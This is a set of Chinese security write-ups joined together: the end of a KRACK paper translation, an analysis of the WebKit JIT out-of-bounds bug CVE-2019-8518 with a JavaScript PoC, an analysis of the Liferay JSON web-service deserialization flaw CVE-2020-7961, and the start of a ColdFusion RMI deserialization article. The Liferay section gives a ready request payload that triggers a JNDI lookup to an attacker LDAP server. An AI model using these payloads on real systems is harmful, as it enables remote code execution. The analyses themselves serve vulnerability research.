3时，AP被欺骗使用RC4来加密组密钥。这种攻击只有在支持WPA-TKIP的网络里有效，因为WPA-TKIP显然是一个不安全的加密协议[66,69]。此外，在参考文献[39]中使用的模型没有定义何时安装协商的会话密钥或者传输的组密钥。然而我们认为这一时机十分重要，有可能会导致密钥重载攻击。
FT握手是基于四次握手的[5]，但是业界没有对它进行正式的安全性分析。现有的工作重点都是放在握手的性能上。例如参考文献[11,46]。
部分工作是研究协商主密钥（PMKs）的认证机制[19,21,59,75]。其中一些机制依赖于初始时创建一个安全的TLS会话[9]。因此，近期对TLS的攻击也会影响这些机制。例如[10,14,15,27,62]。本文中我们对协商主密钥进行研究，而把主要精力放在如何从协商主密钥或预共享主密钥中获取新的会话密钥。
Beck和Tews在WPA-TKIP上实现了第一次关于数据保密协议的实际攻击[66]。他们展示了如何解密一个小TKIP数据包，恢复MIC
key，之后对数据包进行了伪造。他们的攻击进一步改善当前的一些工作[36,67,69,70]。研究人员还利用RC4的缺陷对由弱key构建的TKIP包进行攻击[6,57,71]。如今TKIP因为其安全问题已经被Wi-Fi协会所摒弃。
尽管CCMP收到一些批评[60]，但它已经被证明可以提供类似OCB模式的安全保障。在参考文献[31]中，Fouque等人讨论了在CCMP中nonces被重用时消息伪造攻击的原理。
众所周知，GCM密码在使用短验证标签和重用nonces时是脆弱的。Böck等人实际研究了当GCM在TLS被使用时nonce重用问题，发现一些服务器确实存在nonces重用问题。我们的攻击在802.11上的GCMP和之前不同是因为当一个端点重用nonce时我们可以对其进行控制。并且GCMP在连接双方使用相同的认证key。所以涉及到GCM的加密协议就会显得脆弱[35,56]。
最后，在Wi-Fi实现或者相关技术上的安全问题的一些工作值得被注意。例如在Wi-Fi保护设置（WPS）上发现了设计缺陷[73]，在驱动程序[13,20]发现了漏洞，路由器被发现可以使用预共享key，等等。
**0x08 总结**
尽管四次握手和组密钥交换握手都被证明为安全的，但我们展示出它们都存在被密钥重载攻击的可能。这些攻击方式和已经被证实的安全标准并不冲突，但是强调了它们所使用的模型的限制。特别的，模型没有指定何时应该装载一个用于数据保密协议的密钥。更多的，我们展示了PeerKey和fast
BSS Transition握手同样会被密钥重载攻击所影响。
所有我们测试的Wi-Fi设备都会被针对组密钥握手的攻击所影响。这就允许攻击者重放广播和组播的数据帧。当四次握手或者fast BSS
Transition握手被攻击的时候，这种影响范围取决于它们使用的哪一种数据保密协议。在所有情况下，都有可能解密数据帧，因此可以劫持TCP链接。这就允许攻击者向未加密的HTTP连接中注入数据。更多的，针对Android
6.0，我们的攻击使其装载了一个全为零的密钥，这让所有的安全保障都失效了。
更令人担心的是，如果我们的握手信息由于背景噪音而丢失，密钥重载攻击可能会自动地进行。这意味着，在一定的条件下，即使没有攻击者，nonces也可能被重用。
将来一个有趣的研究方向是其他协议的实现是否也会受到密钥重载攻击的影响。考虑到消息可能丢失的协议可能会显得特别脆弱，毕竟这些协议用设计用来重传帧时，就有可能密钥重载。
**0x09 致谢**
该研究由KU Leuven基金和the imec High Impact Initiative DistributedTrust赞助
**0x0A 参考链接**
<https://papers.mathyvanhoef.com/ccs2017.pdf>
<https://www.krackattacks.com/> | 社区文章 |
# CVE-2019-8518漏洞分析
FTL JIT的LICM由于错误的将`GetByVal`提升到preheader导致没有检查数组边界从而造成OOB访问
## 前置知识
LICM即循环不变代码外提,也就是对于在循环迭代的过程中不会发生变动的代码,会将其移动到循环外
## DFGLICMPhase分析
下断到`attemptHoist()`函数
(lldb) b WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp:224
尝试hoist需要几个条件,在`attempHoist()`中
// WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cppif (!data.preHeader) {
if (verbose)
dataLog(" Not hoisting ", node, " because the pre-header is invalid.\n");
return false;
}
if (!data.preHeader->cfaDidFinish) {
if (verbose)
dataLog(" Not hoisting ", node, " because CFA is invalid.\n");
return false;
}
...
if (!edgesDominate(m_graph, node, data.preHeader)) {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it isn't loop invariant.\n");
}
return tryHoistChecks();
}
if (doesWrites(m_graph, node)) {
if (verbose)
dataLog(" Not hoisting ", node, " because it writes things.\n");
return tryHoistChecks();
}
if (readsOverlap(m_graph, node, data.writes)) {
if (verbose) {
dataLog(
" Not hoisting ", node,
" because it reads things that the loop writes.\n");
}
return tryHoistChecks();
}
if (addsBlindSpeculation && !canSpeculateBlindly) {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it may exit and the pre-header (",
*data.preHeader, ") is not control equivalent to the node's original block (",
*fromBlock, ") and hoisting had previously failed.\n");
}
return tryHoistChecks();
}
if (!safeToExecute(m_state, m_graph, node)) {
// See if we can rescue the situation by inserting blind speculations.bool ignoreEmptyChildren = true;
if (canSpeculateBlindly
&& safeToExecute(m_state, m_graph, node, ignoreEmptyChildren)) {
if (verbose) {
dataLog(
" Rescuing hoisting by inserting empty checks.\n");
}
m_graph.doToChildren(
node,
[&] (Edge& edge) {
if (!(m_state.forNode(edge).m_type & SpecEmpty))
return;
Node* check = m_graph.addNode(CheckNotEmpty, originalOrigin, Edge(edge.node(), UntypedUse));
insertHoistedNode(check);
});
} else {
if (verbose) {
dataLog(
" Not hoisting ", node, " because it isn't safe to execute.\n");
}
return tryHoistChecks();
}
}
重点关注`edgesDominate(m_graph, node, data.preHeader)`
代码逻辑如下
// WebKit/Source/JavaScriptCore/dfg/DFGEdgeDominates.hclass EdgeDominates {
static const bool verbose = false;
...
void operator()(Node*, Edge edge)
{
bool result = m_graph.m_ssaDominators->dominates(edge.node()->owner, m_block);
if (verbose) {
dataLog(
"Checking if ", edge, " in ", *edge.node()->owner,
" dominates ", *m_block, ": ", result, "\n");
}
m_result &= result;
}
...
private:
Graph& m_graph;
BasicBlock* m_block;
bool m_result;
}
inline bool edgesDominate(Graph& graph, Node* node, BasicBlock* block)
{
EdgeDominates edgeDominates(graph, block);
DFG_NODE_DO_TO_CHILDREN(graph, node, edgeDominates);
return edgeDominates.result();
}
// WebKit/Source/JavaScriptCore/dfg/DFGGraph.h#define DFG_NODE_DO_TO_CHILDREN(graph, node, thingToDo) do { \
Node* _node = (node); \
if (_node->flags() & NodeHasVarArgs) { \
for (unsigned _childIdx = _node->firstChild(); \
_childIdx < _node->firstChild() + _node->numChildren(); \
_childIdx++) { \
if (!!(graph).m_varArgChildren[_childIdx]) \
thingToDo(_node, (graph).m_varArgChildren[_childIdx]); \
} \
} else { \
for (unsigned _edgeIndex = 0; _edgeIndex < AdjacencyList::Size; _edgeIndex++) { \
Edge& _edge = _node->children.child(_edgeIndex); \
if (!_edge) \
break; \
thingToDo(_node, _edge); \
} \
} \
} while (false)
// WebKit/Source/WTF/wtf/Dominators.hbool strictlyDominates(typename Graph::Node from, typename Graph::Node to) const
{
return m_data[to].preNumber > m_data[from].preNumber
&& m_data[to].postNumber < m_data[from].postNumber;
}
bool dominates(typename Graph::Node from, typename Graph::Node to) const
{
return from == to || strictlyDominates(from, to);
}
整个代码的逻辑不算很复杂,就是判断一个node的所有child是否为`edge
dominate`的方法是判断`child->owner`是否为`block0`或者是否为`strictly dominates`
对于`GetByVal`来说,有三个child
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $95 = GetStack
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $96 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $98 = JSConstant
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $99 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $100 = GetButterfly
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $101 = 0
因为三个child都为`edge dominate`,所以`getByVal`会被尝试`hoist`到`block0`(还要同时满足其他条件)
但是对于`CheckInBounds`来说,有两个child
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $52 = JSConstant
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $53 = 0
(lldb) p m_block->index
(JSC::DFG::BlockIndex) $55 = 0
(lldb) p edge.node()->op()
(JSC::DFG::NodeType) $56 = GetArrayLength
(lldb) p edge.node()->owner->index
(JSC::DFG::BlockIndex) $57 = 2
(lldb) p m_block->index
(JSC::DFG::BlockIndex) $58 = 0
可以发现其child `GetArrayLength`属于`block2`,不为`edge dominate`,因此无法被`hoist`
## DFGSSALoweringPhase分析
下断到`handleNode()`
(lldb) b WebKit/Source/JavaScriptCore/dfg/DFGSSALoweringPhase.cpp:84
`GetByVal`节点直接调用了`lowerBoundsCheck()`函数
case GetByVal: {
lowerBoundsCheck(m_graph.varArgChild(m_node, 0), m_graph.varArgChild(m_node, 1), m_graph.varArgChild(m_node, 2));
break;
}
其中三个child分别代表了`base`、`index`和`storage`
bool lowerBoundsCheck(Edge base, Edge index, Edge storage)
{
if (!m_node->arrayMode().permitsBoundsCheckLowering())
return false;
if (!m_node->arrayMode().lengthNeedsStorage())
storage = Edge();
NodeType op = GetArrayLength;
switch (m_node->arrayMode().type()) {
case Array::ArrayStorage:
case Array::SlowPutArrayStorage:
op = GetVectorLength;
break;
case Array::String:
// When we need to support this, it will require additional code since base's useKind is KnownStringUse.
DFG_CRASH(m_graph, m_node, "Array::String's base.useKind() is KnownStringUse");
break;
default:
break;
}
Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
return true;
}
可以看到插入了两个节点`GetArrayLength`和`CheckInBounds`,其中`GetArrayLength`作为了`CheckInBounds`的`edge
dominate`,然鹅,依赖于`CheckInBounds`的节点同样需要有`edge dominate`,所以我们可以看到在patch中增加了一段
Node* length = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, op, m_node->origin,
OpInfo(m_node->arrayMode().asWord()), Edge(base.node(), KnownCellUse), storage);
- m_insertionSet.insertNode(
+ Node* checkInBounds = m_insertionSet.insertNode(
m_nodeIndex, SpecInt32Only, CheckInBounds, m_node->origin,
index, Edge(length, KnownInt32Use));
+
+ AdjacencyList adjacencyList = m_graph.copyVarargChildren(m_node);
+ m_graph.m_varArgChildren.append(Edge(checkInBounds, UntypedUse));
+ adjacencyList.setNumChildren(adjacencyList.numChildren() + 1);
+ m_node->children = adjacencyList;
return true;
}
## POC分析
最后来看一下POC
// Run with --thresholdForFTLOptimizeAfterWarmUp=1000// First array probably required to avoid COW backing storage or so...const v3 = [1337,1337,1337,1337];
const v6 = [1337,1337];
function v7(v8) {
for (let v9 in v8) {
v8.a = 42;
const v10 = v8[-698666199];
}
}
while (true) {
const v14 = v7(v6);
const v15 = v7(1337);
}
在FTL层中进行JIT编译期间,`v7`的`JIT IR`将具有以下属性:
* 由于属性访问,将为`v8`插入结构检查,该检查将确保数组在运行时具有正确的类型(`ArrayWithInt32`,具有属性`a`)
* 循环头获取枚举的数组长度
* 对`v8`的元素访问被(错误地?)推测为`InBounds`,大概是因为负数实际上不是有效的数组索引,而是常规的属性名称
* 结果,元素访问将被优化为一个`CheckBounds node`,然后是一个`GetByVal node`(都在循环体内)
* `CheckBounds node`将常量索引与循环头中加载的数组长度进行比较
因此,该功能的`IR`大致如下:
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
CheckStructure v8, expected_structure_id
StoreProperty v8, 'a', 42
CheckBounds -698666199, len // Bails out if index is OOB (always in this case...)
GetByVal v8, -698666199 // Loads the element from the backing storage without performing additional checks
// Jump back to beginning of loop
这是`loop-invariant code
motion`(`LICM`)期间接下来发生的事情,这是一种优化设计,用于在不需要多次执行的情况下将代码移动到循环体前面的循环头内:
1. `LICM`确定`CheckStructure node`可以移到循环头的前面,并这样做
2. `LICM`确定`CheckBounds`节点不能移到循环头,因为它取决于仅加载到循环头中的数组长度
3. `LICM`确定可以将数组访问(`GetByVal`)移到循环头的前面(因为它不依赖于任何循环变量),并且这样做
由于上述结果,IR大致转换为以下内容:
StructureCheck v8, expected_structure_id
GetByVal v8, -698666199
# Loop header
len = LoadArrayLength v8
// Do other loop header stuff
# Loop body
StoreProperty v8, 'a', 42
CheckBounds -698666199, len
// Jump back to beginning of loop
这样,(未检查的)数组元素访问现在位于循环标头之前,仅在此之后在循环体内进行边界检查
然后,在访问内存`v6`元素向量之前`698666199 * 8`个字节时,提供的PoC崩溃
仅当`safeToExecute`(来自`DFGSafeToExecute.h`)返回`true`时,才会将`GetByVal`移到循环头前.该函数似乎只关心类型检查,因此在这种情况下,可以得出结论`GetByVal`可以移到循环头的前面是因为`StructureCheck`(执行类型检查)也移到了循环头.这似乎是需要属性存储(`v8.a
= 42`)的原因,因为它强制执行`CheckStructure node`,否则该节点将丢失
似乎有必要使用非数组参数调用`v7`(在这种情况下为1337),以免过于频繁地触发早期JIT层中的bailout,这将阻止FTL JIT编译该函数 | 社区文章 |
# Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**作者：Longofo@知道创宇404实验室**
之前在CODE WHITE上发布了一篇关于[Liferay Portal JSON Web Service
RCE](https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html)的漏洞，之前是小伙伴在处理这个漏洞，后面自己也去看了。Liferay Portal对于JSON Web
Service的处理，在6.1、6.2版本中使用的是[Flexjson库](http://flexjson.sourceforge.net/)，在7版本之后换成了[Jodd
Json](https://jodd.org/json/)。
**总结起来该漏洞就是：Liferay Portal提供了Json Web
Service服务，对于某些可以调用的端点，如果某个方法提供的是Object参数类型，那么就能够构造符合Java
Beans的可利用恶意类，传递构造好的json反序列化串，Liferay反序列化时会自动调用恶意类的setter方法以及默认构造方法**
。不过还有一些细节问题，感觉还挺有意思，作者文中那张向上查找图，想着idea也没提供这样方便的功能，应该是自己实现的查找工具，文中分析下Liferay使用JODD反序列化的情况。
## JODD序列化与反序列化
参考[官方使用手册](https://jodd.org/json/)，先看下JODD的直接序列化与反序列化：
TestObject.java
package com.longofo;
import java.util.HashMap;
public class TestObject {
private String name;
private Object object;
private HashMap<String, String> hashMap;
public TestObject() {
System.out.println("TestObject default constractor call");
}
public String getName() {
System.out.println("TestObject getName call");
return name;
}
public void setName(String name) {
System.out.println("TestObject setName call");
this.name = name;
}
public Object getObject() {
System.out.println("TestObject getObject call");
return object;
}
public void setObject(Object object) {
System.out.println("TestObject setObject call");
this.object = object;
}
public HashMap<String, String> getHashMap() {
System.out.println("TestObject getHashMap call");
return hashMap;
}
public void setHashMap(HashMap<String, String> hashMap) {
System.out.println("TestObject setHashMap call");
this.hashMap = hashMap;
}
@Override
public String toString() {
return "TestObject{" +
"name='" + name + '\'' +
", object=" + object +
", hashMap=" + hashMap +
'}';
}
}
TestObject1.java
package com.longofo;
public class TestObject1 {
private String jndiName;
public TestObject1() {
System.out.println("TestObject1 default constractor call");
}
public String getJndiName() {
System.out.println("TestObject1 getJndiName call");
return jndiName;
}
public void setJndiName(String jndiName) {
System.out.println("TestObject1 setJndiName call");
this.jndiName = jndiName;
// Context context = new InitialContext();
// context.lookup(jndiName);
}
}
Test.java
package com.longofo;
import jodd.json.JsonParser;
import jodd.json.JsonSerializer;
import java.util.HashMap;
public class Test {
public static void main(String[] args) {
System.out.println("test common usage");
test1Common();
System.out.println();
System.out.println();
System.out.println("test unsecurity usage");
test2Unsecurity();
}
public static void test1Common() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.map("object", TestObject1.class).parse(json, TestObject.class);
System.out.println(dtestObject);
}
public static void test2Unsecurity() {
TestObject1 testObject1 = new TestObject1();
testObject1.setJndiName("xxx");
HashMap hashMap = new HashMap<String, String>();
hashMap.put("aaa", "bbb");
TestObject testObject = new TestObject();
testObject.setName("ccc");
testObject.setObject(testObject1);
testObject.setHashMap(hashMap);
JsonSerializer jsonSerializer = new JsonSerializer();
String json = jsonSerializer.setClassMetadataName("class").deep(true).serialize(testObject);
System.out.println(json);
System.out.println("----------------------------------------");
JsonParser jsonParser = new JsonParser();
TestObject dtestObject = jsonParser.setClassMetadataName("class").parse(json);
System.out.println(dtestObject);
}
}
输出：
test common usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"hashMap":{"aaa":"bbb"},"name":"ccc","object":{"jndiName":"xxx"}}
---------------------------------------- TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@6fdb1f78, hashMap={aaa=bbb}}
test unsecurity usage
TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setName call
TestObject setObject call
TestObject setHashMap call
TestObject getHashMap call
TestObject getName call
TestObject getObject call
TestObject1 getJndiName call
{"class":"com.longofo.TestObject","hashMap":{"aaa":"bbb"},"name":"ccc","object":{"class":"com.longofo.TestObject1","jndiName":"xxx"}}
---------------------------------------- TestObject1 default constractor call
TestObject1 setJndiName call
TestObject default constractor call
TestObject setHashMap call
TestObject setName call
TestObject setObject call
TestObject{name='ccc', object=com.longofo.TestObject1@65e579dc, hashMap={aaa=bbb}}
在Test.java中，使用了两种方式，第一种是常用的使用方式，在反序列化时指定根类型（rootType）；而第二种官方也不推荐这样使用，存在安全问题，假设某个应用提供了接收JODD
Json的地方，并且使用了第二种方式，那么就可以任意指定类型进行反序列化了，不过Liferay这个漏洞给并不是这个原因造成的，它并没有使用setClassMetadataName(“class”)这种方式。
## Liferay对JODD的包装
Liferay没有直接使用JODD进行处理，而是重新包装了JODD一些功能。代码不长，所以下面分别分析下Liferay对JODD的JsonSerializer与JsonParser的包装。
### JSONSerializerImpl
Liferay对JODD JsonSerializer的包装是`com.liferay.portal.json.JSONSerializerImpl`类：
public class JSONSerializerImpl implements JSONSerializer {
private final JsonSerializer _jsonSerializer;//JODD的JsonSerializer，最后还是交给了JODD的JsonSerializer去处理，只不过包装了一些额外的设置
public JSONSerializerImpl() {
if (JavaDetector.isIBM()) {//探测JDK
SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
}
this._jsonSerializer = new JsonSerializer();
}
public JSONSerializerImpl exclude(String... fields) {
this._jsonSerializer.exclude(fields);//排除某个field不序列化
return this;
}
public JSONSerializerImpl include(String... fields) {
this._jsonSerializer.include(fields);//包含某个field进行序列化
return this;
}
public String serialize(Object target) {
return this._jsonSerializer.serialize(target);//调用JODD的JsonSerializer进行序列化
}
public String serializeDeep(Object target) {
JsonSerializer jsonSerializer = this._jsonSerializer.deep(true);//设置了deep后能序列化任意类型的field，包括集合等类型
return jsonSerializer.serialize(target);
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, Class<?> type) {//设置转换器，和下面的设置全局转换器类似，不过这里可以传入自定义的转换器（比如将某个类的Data field，格式为03/27/2020，序列化时转为2020-03-27）
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(type, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
public JSONSerializerImpl transform(JSONTransformer jsonTransformer, String field) {
TypeJsonSerializer<?> typeJsonSerializer = null;
if (jsonTransformer instanceof TypeJsonSerializer) {
typeJsonSerializer = (TypeJsonSerializer)jsonTransformer;
} else {
typeJsonSerializer = new JoddJsonTransformer(jsonTransformer);
}
this._jsonSerializer.use(field, (TypeJsonSerializer)typeJsonSerializer);
return this;
}
static {
//全局注册，对于所有Array、Object、Long类型的数据，在序列化时都进行转换单独的转换处理
JoddJson.defaultSerializers.register(JSONArray.class, new JSONSerializerImpl.JSONArrayTypeJSONSerializer());
JoddJson.defaultSerializers.register(JSONObject.class, new JSONSerializerImpl.JSONObjectTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.TYPE, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
JoddJson.defaultSerializers.register(Long.class, new JSONSerializerImpl.LongToStringTypeJSONSerializer());
}
private static class LongToStringTypeJSONSerializer implements TypeJsonSerializer<Long> {
private LongToStringTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, Long value) {
jsonContext.writeString(String.valueOf(value));
}
}
private static class JSONObjectTypeJSONSerializer implements TypeJsonSerializer<JSONObject> {
private JSONObjectTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONObject jsonObject) {
jsonContext.write(jsonObject.toString());
}
}
private static class JSONArrayTypeJSONSerializer implements TypeJsonSerializer<JSONArray> {
private JSONArrayTypeJSONSerializer() {
}
public void serialize(JsonContext jsonContext, JSONArray jsonArray) {
jsonContext.write(jsonArray.toString());
}
}
}
能看出就是设置了JODD JsonSerializer在序列化时的一些功能。
### JSONDeserializerImpl
Liferay对JODD JsonParser的包装是`com.liferay.portal.json.JSONDeserializerImpl`类：
public class JSONDeserializerImpl<T> implements JSONDeserializer<T> {
private final JsonParser _jsonDeserializer;//JsonParser，反序列化最后还是交给了JODD的JsonParser去处理，JSONDeserializerImpl包装了一些额外的设置
public JSONDeserializerImpl() {
if (JavaDetector.isIBM()) {//探测JDK
SystemUtil.disableUnsafeUsage();//和Unsafe类的使用有关
}
this._jsonDeserializer = new PortalJsonParser();
}
public T deserialize(String input) {
return this._jsonDeserializer.parse(input);//调用JODD的JsonParser进行反序列化
}
public T deserialize(String input, Class<T> targetType) {
return this._jsonDeserializer.parse(input, targetType);//调用JODD的JsonParser进行反序列化，可以指定根类型（rootType）
}
public <K, V> JSONDeserializer<T> transform(JSONDeserializerTransformer<K, V> jsonDeserializerTransformer, String field) {//反序列化时使用的转换器
ValueConverter<K, V> valueConverter = new JoddJsonDeserializerTransformer(jsonDeserializerTransformer);
this._jsonDeserializer.use(field, valueConverter);
return this;
}
public JSONDeserializer<T> use(String path, Class<?> clazz) {
this._jsonDeserializer.map(path, clazz);//为某个field指定具体的类型，例如file在某个类是接口或Object等类型，在反序列化时指定具体的
return this;
}
}
能看出也是设置了JODD JsonParser在反序列化时的一些功能。
## Liferay 漏洞分析
Liferay在`/api/jsonws`API提供了几百个可以调用的Webservice，负责处理的该API的Servlet也直接在web.xml中进行了配置：
随意点一个方法看看：
看到这个有点感觉了，可以传递参数进行方法调用，有个p_auth是用来验证的，不过反序列化在验证之前，所以那个值对漏洞利用没影响。根据CODE
WHITE那篇分析，是存在参数类型为Object的方法参数的，那么猜测可能可以传入任意类型的类。可以先正常的抓包调用去调试下，这里就不写正常的调用调试过程了，简单看一下post参数：
cmd={"/announcementsdelivery/update-delivery":{}}&p_auth=cqUjvUKs&formDate=1585293659009&userId=11&type=11&email=true&sms=true
总的来说就是 **Liferay先查找**` **/announcementsdelivery/update-delivery**` **对应的方法->其他post参数参都是方法的参数->当每个参数对象类型与与目标方法参数类型一致时->恢复参数对象->利用反射调用该方法**。
但是抓包并没有类型指定，因为大多数类型是String、long、int、List、map等类型，JODD反序列化时会自动处理。但是对于某些接口/Object类型的field，如果要指定具体的类型，该怎么指定？
作者文中提到，Liferay Portal 7中只能显示指定rootType进行调用，从上面Liferay对JODD
JSONDeserializerImpl包装来看也是这样。如果要恢复某个方法参数是Object类型时具体的对象，那么Liferay本身可能会先对数据进行解析，获取到指定的类型，然后调用JODD的parse(path,class)方法，传递解析出的具体类型来恢复这个参数对象；也有可能Liferay并没有这样做。不过从作者的分析中可以看出，Liferay确实这样做了。作者查找了`jodd.json.Parser#rootType`的调用图（羡慕这样的工具）：
通过向上查找的方式，作者找到了可能存在能指定根类型的地方，在`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl`调用了`com.liferay.portal.kernel.JSONFactoryUtil#looseDeserialize(valueString,
parameterType)`,
looseDeserialize调用的是JSONSerializerImpl，JSONSerializerImpl调用的是`JODD的JsonParse.parse`。
`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#JSONWebServiceActionImpl`再往上的调用就是Liferay解析Web
Service参数的过程了。它的上一层`JSONWebServiceActionImpl#_prepareParameters(Class<?>)`，JSONWebServiceActionImpl类有个`_jsonWebServiceActionParameters`属性：
这个属性中又保存着一个`JSONWebServiceActionParametersMap`，在它的put方法中，当参数以`+`开头时，它的put方法以`:`分割了传递的参数,`:`之前是参数名,`:`之后是类型名。
而put解析的操作在`com.liferay.portal.jsonwebservice.action.JSONWebServiceInvokerAction#_executeStatement`中完成：
通过上面的分析与作者的文章，我们能知道以下几点：
1. Liferay 允许我们通过/api/jsonws/xxx调用Web Service方法
2. 参数可以以+开头，用`:`指定参数类型
3. JODD JsonParse会调用类的默认构造方法，以及field对应的setter方法
所以需要找在setter方法中或默认构造方法中存在恶意操作的类。去看下marshalsec已经提供的利用链，可以直接找Jackson、带Yaml的，看他们继承的利用链，大多数也适合这个漏洞，同时也要看在Liferay中是否存在才能用。这里用`com.mchange.v2.c3p0.JndiRefForwardingDataSource`这个测试，用`/expandocolumn/add-column`这个Service，因为他有`java.lang.Object`参数：
Payload如下：
cmd={"/expandocolumn/add-column":{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={"jndiName":"ldap://127.0.0.1:1389/Object","loginTimeout":0}
解析出了参数类型，并进行参数对象反序列化，最后到达了jndi查询：
####
## 补丁分析
Liferay补丁增加了类型校验，在`com.liferay.portal.jsonwebservice.JSONWebServiceActionImpl#_checkTypeIsAssignable`中：
private void _checkTypeIsAssignable(int argumentPos, Class<?> targetClass, Class<?> parameterType) {
String parameterTypeName = parameterType.getName();
if (parameterTypeName.contains("com.liferay") && parameterTypeName.contains("Util")) {//含有com.liferay与Util非法
throw new IllegalArgumentException("Not instantiating " + parameterTypeName);
} else if (!Objects.equals(targetClass, parameterType)) {//targetClass与parameterType不匹配时进入下一层校验
if (!ReflectUtil.isTypeOf(parameterType, targetClass)) {//parameterType是否是targetClass的子类
throw new IllegalArgumentException(StringBundler.concat(new Object[]{"Unmatched argument type ", parameterTypeName, " for method argument ", argumentPos}));
} else if (!parameterType.isPrimitive()) {//parameterType不是基本类型是进入下一层校验
if (!parameterTypeName.equals(this._jsonWebServiceNaming.convertModelClassToImplClassName(targetClass))) {//注解校验
if (!ArrayUtil.contains(_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES, parameterTypeName)) {//白名单校验，白名单类在_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES中
ServiceReference<Object>[] serviceReferences = _serviceTracker.getServiceReferences();
if (serviceReferences != null) {
String key = "jsonws.web.service.parameter.type.whitelist.class.names";
ServiceReference[] var7 = serviceReferences;
int var8 = serviceReferences.length;
for(int var9 = 0; var9 < var8; ++var9) {
ServiceReference<Object> serviceReference = var7[var9];
List<String> whitelistedClassNames = StringPlus.asList(serviceReference.getProperty(key));
if (whitelistedClassNames.contains(parameterTypeName)) {
return;
}
}
}
throw new TypeConversionException(parameterTypeName + " is not allowed to be instantiated");
}
}
}
}
}
`_JSONWS_WEB_SERVICE_PARAMETER_TYPE_WHITELIST_CLASS_NAMES`所有白名单类在portal.properties中，有点长就不列出来了，基本都是以`com.liferay`开头的类。 | 社区文章 |
原文地址：
<https://nickbloor.co.uk/2018/06/18/another-coldfusion-rce-cve-2018-4939/>
2017年10月，我发布了影响Adobe ColdFusion的Flex集成服务的[Java RMI
/反序列化漏洞](https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/)的概述和视频PoC。我当时没有发布所有细节和利用代码，因为我还发现了一个对于打过补丁的服务器依然有效的漏洞利用方式。
Adobe现已发布了解决这个问题的[安全更新](https://helpx.adobe.com/security/products/coldfusion/apsb18-14.html)
，我也可以详细谈谈这个洞了。
## RMI和java.lang.Object
Java远程方法调用（RMI）协议几乎是100％的[Java序列化](https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/) 。 当从RMI注册表服务请求对象并且在该对象上调用方法时，通过网络传输的数据采用Java序列化格式。
ColdFusion的Flex集成RMI服务公开以下类的对象：
coldfusion.flex.rmi.DataServicesCFProxy
该类可以在ColdFusion安装目录中的“libs / cfusion.jar”文件中找到，如下所示：
package coldfusion.flex.rmi;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;
import java.util.Map;
public abstract interface DataServicesCFProxy extends Remote
{
public abstract List fill(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract List sync(String paramString, List paramList, Map paramMap) throws RemoteException;
public abstract Object get(String paramString, Map paramMap1, Map paramMap2) throws RemoteException;
public abstract Integer count(String paramString, Object[] paramArrayOfObject, Map paramMap) throws RemoteException;
public abstract boolean fillContains(String paramString, Object[] paramArrayOfObject, Object paramObject, Boolean paramBoolean, Map paramMap) throws RemoteException;
}
可以使用任何 Java对象作为参数调用这些方法之中的每一个。 请注意，List和Map等容器可以包含任何Java对象。
无需身份验证即可与此RMI服务进行交互，因此任何能够通过网络访问服务的人都可以向其提供任意Java对象，以尝试利用Java反序列化攻击（例如，通过提供ysoserial
payload作为方法参数）。
